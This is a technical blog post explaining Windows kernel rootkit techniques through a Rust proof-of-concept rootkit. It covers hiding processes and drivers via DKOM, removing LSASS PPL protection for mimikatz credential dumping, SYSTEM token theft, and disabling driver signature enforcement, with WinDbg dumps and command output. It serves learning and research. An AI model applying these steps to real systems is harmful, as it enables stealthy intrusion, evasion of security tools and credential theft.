Rusty Windows Kernel Rootkit
Introduction
This post will go through some of the basic rootkit techniques, using one of the first publicly available rootkits made in Rust as a proof of concept https://github.com/memN0ps/rootkit-rs/. Many anti-cheats and EDRs are utilizing Windows kernel drivers using rootkit-like techniques to detect game hackers or adversaries. However, this is a cat and mouse game, and the game hackers and malware authors have been years ahead of the industry. Why was this made? For fun, learning, to demonstrate the power of Rust and because Rust is awesome. This post assumes that the reader understands the basics of how Windows Kernel programming and how device drivers work. However, if the reader does not feel confident then a recommended post would be https://memn0ps.github.io/Kernel-Mode-Rootkits/.
a) Write less code that’s high-level, fast, memory safe, and robust to achieve low-level tasks, whilst being able cross-compile and avoid dependency problems. b) Game hackers have started using it and it’s challenging to reverse. Check out BlackHat Rust by @SylvainKerkour
PatchGuard / Kernel Patch Protection
PatchGuard, also known as Kernel Patch Protection, is a security feature present in Windows to protect the Windows Kernel against unauthorized modification and tampering. PatchGuard works by periodically checking Windows Kernel data structures that Microsoft deems sensitive and if they’re modified or tampered then it will trigger a bug check and crash the operating system. However, one flaw in PatchGuard is that because the periodic checking is a computationally intensive task, PatchGuard does not constantly check if unauthorized modifications have been made to protected regions. There is even no guarantee that Patchguard will ever detect and crash the system. This allows an attacker to modify a protection region and change it back without PatchGuard flagging it, kind of like a type of race condition. Since we don’t know when PatchGuard will perform the next check, it’s a bit risky, although we can reduce this risk by narrowing the window of time a protected region stays modified. PatchGuard does not work if Windows is put into test signing/kernel debugging mode and is effectively disabled. More memory protections have been put into Windows 11, that won’t be covered in this post due to the vast cutting-edge knowledge and time required.
Exercise for the reader:
Direct Kernel Object Manipulation (DKOM)
The operating system stores information in the form of structures of objects and when a user-mode process requests this information such as a list of Kernel drivers, threads, or processes, they’re sent back to the user-mode process and since they’re just structures/objects in memory you can change/alter them directly without any form of hooking. However, these are protected by PatchGuard in the modern version of Windows.
Hide Process Theory: Direct Kernel Object Manipulation (DKOM)
A interesting technique we can use in our rootkit is to hide or unlink a target process, which will be hidden from AVs, EDRs and anti-cheats. We won’t be able to see this in the Windows Task Manager, or when we use Get-Process
from Powershell. However, the downside of this technique is that it will trigger Patchguard.
To hide our process we need to understand a few Windows internal concepts, such as the EPROCESS
data structure in the Windows kernel. EPROCESS
is an opaque data structure in the Windows kernel that contains important information about processes running on the system. The offsets of this large structure change from build to build or version to version.
What we’re interested in is, ActiveProcessLinks
, which is a pointer to a structure called LIST_ENTRY
. We can’t just access this data structure normally like EPROCESS.ActiveProcessLinks
, we have to use PsGetCurrentProcess to get the current EPROCESS
and then add an offset that is version dependent. This is the downside to the EPROCESS
structure. It can make it very hard to have a compatible Windows Kernel rootkit. However, there are many techniques used to dynamically find offsets, that won’t be covered in this post.
We can use Windbg to take a look a look at the data structure as shown below: (redacted for simplicity’s sake):
kd> dt nt!_EPROCESS
<..redacted...>
+0x000 Pcb : _KPROCESS
+0x438 ProcessLock : _EX_PUSH_LOCK
+0x440 UniqueProcessId : Ptr64 Void
+0x448 ActiveProcessLinks : _LIST_ENTRY
<..redacted...>
The LIST_ENTRY
data structure is a doubly-linked list, where FLINK
(forward link) and BLINK
are references to the next and previous elements in the doubly-linked list.
kd> dt _list_entry
ntdll!_LIST_ENTRY
+0x000 Flink : Ptr64 _LIST_ENTRY
+0x008 Blink : Ptr64 _LIST_ENTRY
The following is a visualization of the above:
Using the information above, we can hide our process from being shown by manipulating the kernel data structures. Imagine we have 3 processes and their data structures are called EPROCESS 1
, EPROCESS 2
, and EPROCESS 3
, and the data structure of process we want to hide is EPROCESS 2
To hide our process we can do the following:
- Point the
ActiveProcessLinks.FLINK
ofEPROCESS 1
toActiveProcessLinks.FLINK
ofEPROCESS 3
. - Point
ActiveProcessLinks.BLINK
ofEPROCESS 3
toActiveProcessLinks.BLINK
OFEPROCESS 1
.
This will manipulate and unlink the data structure of our process from the doubly-linked list and make it invisible, a diagram of this is shown below:
Hide Process Example
We can use process hacker to find the PowerShell process or we can use the command Get-Process -Name powershell
to see if the process is running on the host.
We can use the Rusty Rootkit to hide any process we like, such as powershell.exe
, and once the process is hidden it should not show up in process hacker or when running the command Get-Process -Name powershell
from Powershell.
PS C:\Users\memn0ps\Desktop> .\client.exe process --name powershell.exe --hide
[+] Process is hidden successfully: 6376
Here we can see that the process powershell.exe is not found in both process hacker and PowerShell itself.
Our process should be hidden from functions such as Toolhelp32Snapshot and ZwQuerySystemInformation that are often used by anti-cheats, AVs, and EDRs.
Note this will trigger PatchGuard
Hide Driver Theory: Direct Kernel Object Manipulation (DKOM)
Hiding a driver works in a similar fashion to hiding a process, the only major difference is how we obtain access to the LIST_ENTRY
of the driver. Getting access to the EPROCESS
data structure of the current process by calling PsGetCurrentProcess is simple but there is no such call to get the list of drivers.
The Driver Object is an argument passed into the driver’s main function. The driver object contains important information about the driver itself. The Driver Object contains an undocumented field called the DriverSection
, which is what we’re interested in to hide our driver. As long we load our driver using the Service Control Manager (SCM)
, we can always get a pointer to the DRIVER_OBJECT
in the DriverEntry()
function. We can view the DRIVER_OBJECT
using Windbg:
0: kd> dt _DRIVER_OBJECT
nt!_DRIVER_OBJECT
+0x000 Type : Int2B
+0x002 Size : Int2B
+0x008 DeviceObject : Ptr64 _DEVICE_OBJECT
+0x010 Flags : Uint4B
+0x018 DriverStart : Ptr64 Void
+0x020 DriverSize : Uint4B
+0x028 DriverSection : Ptr64 Void
+0x030 DriverExtension : Ptr64 _DRIVER_EXTENSION
+0x038 DriverName : _UNICODE_STRING
+0x048 HardwareDatabase : Ptr64 _UNICODE_STRING
+0x050 FastIoDispatch : Ptr64 _FAST_IO_DISPATCH
+0x058 DriverInit : Ptr64 long
+0x060 DriverStartIo : Ptr64 void
+0x068 DriverUnload : Ptr64 void
+0x070 MajorFunction : [28] Ptr64 long
Once we access the DriverSection we can cast it to a pointer to LDR_DATA_TABLE_ENTRY
: (redacted for simplicity):
0: kd> dt _LDR_DATA_TABLE_ENTRY
ntdll!_LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY
+0x010 InMemoryOrderLinks : _LIST_ENTRY
+0x020 InInitializationOrderLinks : _LIST_ENTRY
<..redacted..>
We can then access the LIST_ENTRY
data structure and hide/unlink our driver making it invisible just like we did for the process.
kd> dt _list_entry
ntdll!_LIST_ENTRY
+0x000 Flink : Ptr64 _LIST_ENTRY
+0x008 Blink : Ptr64 _LIST_ENTRY
Using the information above, we can hide our driver from being shown by manipulating the kernel data structures. This is similar to hiding a process.
To hide our driver we can do the following:
- Point the
InLoadOrderLinks.FLINK
ofMODULE_ENTRY 1
toInLoadOrderLinks.FLINK
ofMODULE_ENTRY 3
. - Point
InLoadOrderLinks.BLINK
ofMODULE_ENTRY 3
toInLoadOrderLinks.BLINK
OFMODULE_ENTRY 1
.
This will manipulate and unlink the data structure of our driver from the doubly-linked list and make it invisible, a diagram of this is shown below:
Note this will trigger PatchGuard
Hide Driver Example
The following shows that the driver is hidden from ZwQuerySystemInformation
and PsLoadedModuleList
which can be used by anti-cheats or EDRs to running modules.
First, we we enumerate all the drivers on the system using PsLoadedModuleList
. Here we can see a list of loaded modules, one of which is our rootkit Eagle.sys
.
PS C:\Users\memn0ps\Desktop> .\client.exe driver --enumerate
Total Number of Modules: 185
[0] 0xfffff80058c00000 "ntoskrnl.exe"
[1] 0xfffff80054d20000 "hal.dll"
<..redacted..>
[180] 0xfffff80054600000 "KERNEL32.dll"
[181] 0xfffff80054200000 "ntdll.dll"
[182] 0xfffff800553f0000 "KERNELBASE.dll"
[183] 0xfffff800556f0000 "MpKslDrv.sys"
[184] 0xfffff80055720000 "Eagle.sys"
[+] Loaded modules enumerated successfully
We can hide the Eagle.sys
:
PS C:\Users\memn0ps\Desktop> .\client.exe driver --hide
[+] Driver hidden successfully
We can now enumerate the drivers using PsLoadedModuleList
, which shows that our driver no longer exists.
PS C:\Users\memn0ps\Desktop> .\client.exe driver --enumerate
Total Number of Modules: 184
[0] 0xfffff80058c00000 "ntoskrnl.exe"
[1] 0xfffff80054d20000 "hal.dll"
<..redacted..>
[180] 0xfffff80054600000 "KERNEL32.dll"
[181] 0xfffff80054200000 "ntdll.dll"
[182] 0xfffff800553f0000 "KERNELBASE.dll"
[183] 0xfffff800556f0000 "MpKslDrv.sys"
[+] Loaded modules enumerated successfully
Process Protection Theory
Starting from Windows 8.1 Microsoft introduced system-protected processes, which was a new security feature in the Windows Kernel to defend against attacks on the system. This new security feature extends the protected process infrastructure that the previous version of Windows (Vista) used for playing Digital Rights Management (DRM) content, which worked by limiting the access you can obtain to a protected process (PROCESS_VM_READ
). This new security feature turned into a general-purpose model that 3rd part anti-malware vendors could use.
You can use Process Explorer or Process Hacker to show the level of protection. The problem attackers can have with this protection is when it’s applied to LSASS.exe
. This prevents attackers from dumping passwords from it, even when running as SYSTEM
. However, this memory protection is not enabled by default on LSASS.exe
and it is not an AV or EDR protection, it’s a Windows Kernel protection. The following shows that we get access denied when attempting to obtain a handle with enough privileges to query and read LSASS.exe
memory.
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)
Process Protection has a hierarchical level:
Protected Process (PP)
andProtected Process Light (PPL)
.- A
Signer
that comes from theEnhanced Key Usage
field of the digital signature used to sign the executable
Let’s look at the protection for crss.exe
in this example. The LSASS.exe
process will have similar protection if it’s enabled.
PsProtectedSignerWinTcb-Light
Signer
The data structures we’re interested in are shown below:
For more information we can view ZwQueryInformationProcess and it’s second parameter ProcessInformationClass
.
“When the ProcessInformationClass
parameter is ProcessProtectionInformation
, the buffer pointed to by the ProcessInformation
parameter should be large enough to hold a single PS_PROTECTION
structure having the following layout:”
The following kernel structure named _PS_PROTECTION
is stored in EPROCESS
, which determines the protection levels of a process.
The information is stored in 2 parts of 2 bytes. The Level
member is an unsigned 8-bit integer (unsigned char), which has 2 values known as SignatureLevel
, which determines the signature requirements of the primary modules, and SectionSignatureLevel
, which determines the minimum signature level requirements of a DLL to be loaded into a process.
The Type
member is 3 bits, representing the protection type (_PS_PROTECTED_TYPE
). These bits determine if a process is Protected Process (PP)
or Protected Process Light (PPL)
.
The Signer
member is 4 bits, representing the level of protection. These bits determines things like SignerNone
SignerWinTcb
or SignerMax
as shown in the _PS_PROTECTED_SIGNER
data structure.
typedef struct _PS_PROTECTION {
union {
UCHAR Level;
struct {
UCHAR Type : 3;
UCHAR Audit : 1; // Reserved
UCHAR Signer : 4;
};
};
} PS_PROTECTION, *PPS_PROTECTION;
The first 3 bits contain the type of protected process:
typedef enum _PS_PROTECTED_TYPE {
PsProtectedTypeNone = 0,
PsProtectedTypeProtectedLight = 1,
PsProtectedTypeProtected = 2
} PS_PROTECTED_TYPE, *PPS_PROTECTED_TYPE;
The top 4 bits contain the protected process signer:
typedef enum _PS_PROTECTED_SIGNER {
PsProtectedSignerNone = 0, // 0
PsProtectedSignerAuthenticode, // 1
PsProtectedSignerCodeGen, // 2
PsProtectedSignerAntimalware, // 3
PsProtectedSignerLsa, // 4
PsProtectedSignerWindows, // 5
PsProtectedSignerWinTcb, // 6
PsProtectedSignerWinSystem, // 7
PsProtectedSignerApp, // 8
PsProtectedSignerMax // 9
} PS_PROTECTED_SIGNER, *PPS_PROTECTED_SIGNER;
The combination of the values in _PS_PROTECTED_SIGNER
and _PS_PROTECTED_TYPE
is used to determine the protection of a process. To simplify this a table is shown below:
In a nutshell, the Windows Kernel puts these protections in a certain ranked order, which means that the Protected Process (PP)
privilege will be greater than Protected Process Light (PPL)
privilege, so Protected Process Light (PPL)
can never obtain full access to Protected Process (PP)
regardless of its Signer
.
This means that:
- The
Protected Process (PP)
privilege can obtain full access to anotherProtected Process (PP)
privilege orProtected Process Light (PPL)
given theSigner
is equal or greater. - The
Protected Process Light (PPL)
privilege can obtain full access to anotherProtected Process Light (PPL)
if theSigner
is equal to or greater.
The reasoning behind this is that even if you want to protect a process like LSASS.exe
, other services that are more privileged still require access for it to work properly.
Protecting / Unprotecting
We can unprotect or protect the target process from our Windows Kernel rootkit by accessing the EPROCESS
data structure. As discussed before the EPROCESS
is an opaque data structure in the Windows kernel that contains important information about processes running on the system. The offsets of this large structure change from build to build or version to version.
We can view the EPROCESS structure in Windbg, what we’re interested in is the SignatureLevel
, SectionSignatureLevel
, and the Protection
fields.
kd> dt nt!_EPROCESS
<...redacted...>
+0x878 SignatureLevel : UChar
+0x879 SectionSignatureLevel : UChar
+0x87a Protection : _PS_PROTECTION
<...redacted...>
So how do we unprotect a process? To remove the protection of a process we can just set all of the following values to 0
and It’s as simple as that.
SignatureLevel = 0;
SectionSignatureLevel = 0;
Protection.Type = 0;
Protection.Signer = 0;
So how do we protect a process? To protect a process as PsProtectedSignerWinTcb
we can change the values to the following:
SignatureLevel = 0x3f;
SectionSignatureLevel = 0x3f;
Protection.Type = 2; //Protected (2)
Protection.Audit = 0;
Protection.Signer = 6; //WinTcb (6)
Note that protecting a process does not magically grant access to the processes of other users, as it is only additional protection.
We can’t just get access to members using EPROCESS->Protection
, but we can use PsLookupProcessByProcessId to obtain access to the EPROCESS structure and then add an offset that is dynamically retrieved. Dynamically retrieving offsets can make the driver compatible across multiple OS builds and there are multiple ways to do that, that won’t be covered in this post.
Note this will NOT trigger PatchGuard
Exercises for the reader:
- https://www.crowdstrike.com/blog/evolution-protected-processes-part-1-pass-hash-mitigations-windows-81/
- https://posts.specterops.io/mimidrv-in-depth-4d273d19e148
- http://www.alex-ionescu.com/?p=97
- https://itm4n.github.io/lsass-runasppl/
Process Protection Example
If lsass.exe is protected with Protected Process Light (PPL)
. We can protect mimikatz.exe
with Protected Process (PP)
and a signer level that is greater or equal to lsass.exe
. This will allow us to dump credentials and bypass Protected Process Light (PPL)
.
We use notepad.exe in this example:
PS C:\Users\memn0ps\Desktop> .\client.exe process --name notepad.exe --protect
[+] Process protected successfully 2104
Protection: PsProtectedSignerWinTcb
Alternatively, we can remove the Protected Process Light (PPL)
protection from lsass.exe
if it has any. This will allow us to dump credentials normally. Note that, mimidrv.sys
has this feature already but it will be flagged by AVs/EDRs/anit-cheats.
PS C:\Users\memn0ps\Desktop> .\client.exe process --name notepad.exe --unprotect
[+] Process unprotected successfully 2104
Protection: None
Process Token Privileges Theory
The privileges a process has can be determined by an access token. An access token includes the identity and privileges of the user account associated with the process or thread. Process privileges determine the type of operations that a process can perform. A process running under a medium integrity context has fewer privileges than a process running under a high integrity context. A medium integrity process is one that has standard user rights and a high integrity process has administrator rights. Going from a medium integrity context high integrity is determined by User Account Control (UAC). When a process is in a high integrity context, it has more token privileges than a process in a medium integrity context and can perform additional tasks. Some of these token privileges are enabled by default and others are disabled, but they can be enabled by AdjustTokenPrivileges
Exercise for the reader:
- https://www.cobaltstrike.com/blog/user-account-control-what-penetration-testers-should-know/
- https://www.elastic.co/blog/introduction-to-windows-tokens-for-security-practitioners
- https://posts.specterops.io/understanding-and-defending-against-access-token-theft-finding-alternatives-to-winlogon-exe-80696c8a73b
- https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-adjusttokenprivileges
We can run powershell.exe as a normal user and run "whoami /all"
to see the process integrity and token privileges. The following shows that powershell.exe is Medium Mandatory Level
:
PS C:\Users\memn0ps> whoami /all
USER INFORMATION
----------------
User Name SID
================== ==============================================
windows-10-vm\user S-1-5-21-3694103140-4081734440-3706941413-1001
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
============================================================= ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account and member of Administrators group Well-known group S-1-5-114 Group used for deny only
BUILTIN\Administrators Alias S-1-5-32-544 Group used for deny only
BUILTIN\Performance Log Users Alias S-1-5-32-559 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
UAC: Medium intergrity context
When we run-as-administrator, we will see a User Account Control (UAC) prompt. After clicking yes, the powershell.exe process should go from a medium to a high integrity context (right) and we will see additional token privileges.
UAC
The following shows that powershell.exe is High Mandatory Level
:
PS C:\Users\memn0ps\Desktop> whoami /all
USER INFORMATION
----------------
User Name SID
================== ==============================================
windows-10-vm\user S-1-5-21-3694103140-4081734440-3706941413-1001
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
============================================================= ================ ============ ===============================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account and member of Administrators group Well-known group S-1-5-114 Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner
BUILTIN\Performance Log Users Alias S-1-5-32-559 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
========================================= ================================================================== ========
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeSecurityPrivilege Manage auditing and security log Disabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
SeLoadDriverPrivilege Load and unload device drivers Disabled
SeSystemProfilePrivilege Profile system performance Disabled
SeSystemtimePrivilege Change the system time Disabled
SeProfileSingleProcessPrivilege Profile single process Disabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Disabled
SeCreatePagefilePrivilege Create a pagefile Disabled
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeDebugPrivilege Debug programs Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Disabled
SeUndockPrivilege Remove computer from docking station Disabled
SeManageVolumePrivilege Perform volume maintenance tasks Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
SeCreateSymbolicLinkPrivilege Create symbolic links Disabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Disabled
UAC: High integrity context
We can take the following as an example: The SeDebugPrivilege
is disabled when we’re in a high integrity context but it can be enabled when we run the token::elevate
command in Mimikatz. However, a medium integrity process cannot enable it at all.
Process hacker also shows the token privileges of any process (powershell.exe) in this example. One is in a high integrity context and the other in a medium integrity context.
Exercise for the reader: https://docs.microsoft.com/en-us/windows/win32/secauthz/privilege-constants
Elevate
Once again, we can elevate our token privileges of a target process from our Windows Kernel rootkit by accessing the EPROCESS
data structure. As discussed before the EPROCESS
is an opaque data structure in the Windows kernel that contains important information about processes running on the system. The offsets of this large structure change from build to build or version to version. Note that the TOKEN
has to be retrieved dynamically to avoid hard coding offsets and for compatibility across different Windows builds/versions.
We can view the EPROCESS
structure in Windbg, what we’re interested in is the Token
, attribute. The EX_FAST_REF
is a pointer that points to the Token
data structure.
kd> dt nt!_EPROCESS
<...redacted...>
+0x4b8 Token : _EX_FAST_REF
<...redacted...>
The Token
attribute is also a large data structure and what we’re interested in is the Privileges
attribute
kd> dt nt!_TOKEN
<...redacted...>
+0x040 Privileges : _SEP_TOKEN_PRIVILEGES
<...redacted...>
The Privileges
attribute points to another data structure called _SEP_TOKEN_PRIVILEGES
. These attributes can enable/disable different types of token privileges.
kd> dt nt!_SEP_TOKEN_PRIVILEGES
+0x000 Present : Uint8B
+0x008 Enabled : Uint8B
+0x010 EnabledByDefault : Uint8B
The best and easiest way to escalate, the integrity level, user privilege, and ALL token privileges of a process, rather than tampering with each one is to replace the low privileged process TOKEN
data structure with a high privileged process token data structure.
How can we do this? It’s actually very simple. We can get the process ID of the SYSTEM
process (PID 4) and find its TOKEN
address and replace it with the target process’ TOKEN
address. Luckily the process ID of the SYSTEM
process is always 4
.
We can use PsLookupProcessByProcessId, which will return a referenced pointer to the EPROCESS
data structure of the specified process ID and then we can use PsReferencePrimaryToken function to get a pointer to the TOKEN
data structure of the specified EPROCESS
.
Once we have a pointer to the TOKEN
data structure of the SYSTEM
process and our target process. We can overwrite the TOKEN
pointer of our target process with the TOKEN
pointer of the SYSTEM
process.
This will escalate our process privileges to NT AUTHORITY\SYSTEM
and enable all token privileges. This is a common technique used in many privileges escalation exploits for Windows, including Windows Kernel exploitation.
Process Token Privileges / Process Elevate Example
Here we can see that the process is running in a medium integrity context with default/ordinary token privileges.
PS C:\Users\memn0ps\Desktop> whoami /all
USER INFORMATION
================== ==============================================
windows-10-vm\user S-1-5-21-3694103140-4081734440-3706941413-1001
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
============================================================= ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account and member of Administrators group Well-known group S-1-5-114 Group used for deny only
BUILTIN\Administrators Alias S-1-5-32-544 Group used for deny only
BUILTIN\Performance Log Users Alias S-1-5-32-559 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
Using our rootkit we can escalate these privileges of the process (powershell.exe).
PS C:\Users\memn0ps\Desktop> .\client.exe process --name powershell.exe --elevate
[+] Tokens privileges elevated successfully 6376
We are now NT AUTHORITY\SYSTEM
, the process is at a System Mandatory Level
, and all token privileges are enabled.
PS C:\Users\memn0ps\Desktop> whoami /all
USER INFORMATION
----------------
User Name SID
=================== ========
nt authority\system S-1-5-18
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
====================================== ================ ============ ==================================================
BUILTIN\Administrators Alias S-1-5-32-544 Enabled by default, Enabled group, Group owner
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
Mandatory Label\System Mandatory Level Label S-1-16-16384
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
========================================= ================================================================== =======
SeCreateTokenPrivilege Create a token object Enabled
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeLockMemoryPrivilege Lock pages in memory Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeTcbPrivilege Act as part of the operating system Enabled
SeSecurityPrivilege Manage auditing and security log Enabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled
SeLoadDriverPrivilege Load and unload device drivers Enabled
SeSystemProfilePrivilege Profile system performance Enabled
SeSystemtimePrivilege Change the system time Enabled
SeProfileSingleProcessPrivilege Profile single process Enabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled
SeCreatePagefilePrivilege Create a pagefile Enabled
SeCreatePermanentPrivilege Create permanent shared objects Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeDebugPrivilege Debug programs Enabled
SeAuditPrivilege Generate security audits Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeTrustedCredManAccessPrivilege Access Credential Manager as a trusted caller Enabled
SeRelabelPrivilege Modify an object label Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
SeCreateSymbolicLinkPrivilege Create symbolic links Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
PS C:\Users\memn0ps\Desktop>
Driver Signature Enforcement Theory
Since Windows 10 1607, Microsoft will not load kernel drivers unless they are signed via the Microsoft Development Portal. But if for developers this would mean getting an Extended Validation (EV) code signing certificate to sign your kernel driver that is handed out from providers such as DigiCert, and GlobalSign. Then you must join the Windows Hardware Developer Center program by submitting your Extended Validation (EV) code signing certificates and going through a vetting process. When they are accepted a driver needs to be signed by the developer with their EV cert and uploaded to the Microsoft Development Portal to be approved and signed by Microsoft. This is the “normal way” to load your driver.
Note that the downside of a signed driver is that it can be detected/blocked easily if AVs, EDRs, or anti-cheats obtain your signed certificate information. This will have a mass effect, depending on how many machines you have your rootkit loaded and depending on which AV/EDR/anti-cheat has blocked/detected it.
Manually mapping your driver works in a similar fashion to manual mapping your dll/exe and is more evasive than normally loading it. However, there are some downsides to that.
Currently, this driver does not support manual mapping. However, an alternative way to load your driver is to manually map it by exploiting an existing CVE in a signed driver such as Capcom or Intel:
- https://github.com/TheCruZ/kdmapper
- https://github.com/not-wlan/drvmap
- https://github.com/zorftw/kdmapper-rs
Otherwise, you can always get an extended validation (EV) code signing certificate by Microsoft which goes through a “vetting” process or use a 0-day which is really up to you lol.
This is a very rigorous process designed to protect the Windows Kernel from malicious code/malware. However, this protection can be disabled by turning on test signing mode, which is usually done when developing a Windows kernel driver for testing/loading.
bcdedit.exe /set testsigning on
This configuration of Driver Signature Enforcement (DSE)
is stored in the boot options which are protected by secure boot and windows reads this boot configuration and sets a flag in the kernel-memory, that is checked on future driver-load events. This memory region is called g_CiOptions
and the value can be viewed via Windbg.
The value of g_CiOptions
by default is 4 OR 2 aka 4 | 2
which equals 6
in hex. The value for g_CiOptions
becomes 0 if DISABLE_INTEGRITY_CHECKS
has been set and if TESTSIGNING
is enabled the g_CiOptions
value is 4 OR 2 OR 8 aka 4|2|8
, which is E
in hex.
Driver Signature Enforcement (DSE)
is controlled by this bit at run-time and if we can change this bit in memory from 6
to E
we can bypass Driver Signature Enforcement (DSE)
and load unsigned drivers. However, to do this we already need to have drivers loaded or have an arbitrary code execution vulnerability in the kernel such as write-what-where
: https://connormcgarr.github.io/Kernel-Exploitation-2/ . This is a bit like the Chicken-and-egg situation.
To enable or disable DSE
we need to access CI!g_CiOptions
. There is a function called CiInitialize
inside ci.dll
, a Code Integrity Module, that will contain the address of g_CiOptions
and this is something we will have to look for at runtime. How to retrieve the address of g_CiOptions
will not be covered in this post.
We can use our rootkit to do this but note that this can trigger PatchGuard, so it’s important to disable DSE, load your driver and quickly reenable/revert it afterward to avoid triggering PatchGuard.
Driver Signature Enforcement Example
Here we can disable Driver Signature Enforcement (DSE)
from our rootkit:
PS C:\Users\memn0ps\Desktop> .\client.exe dse --disable
Bytes returned: 16
[+] Driver Signature Enforcement (DSE) disabled: 0xe
The value for g_CiOptions
is 0e
, indicating DSE has been successfully disabled.
0: kd> db 0xfffff8005a6683b8 L1
fffff800`5a6683b8 0e
Here we can enable Driver Signature Enforcment (DSE)
from our rootkit:
PS C:\Users\memn0ps\Desktop> .\client.exe dse --enable
Bytes returned: 16
[+] Driver Signature Enforcement (DSE) enabled: 0x6
The value for g_CiOptions
is 06
, indicating DSE has been successfully enabled.
0: kd> db 0xfffff8005a6683b8 L1
fffff800`5a6683b8 06
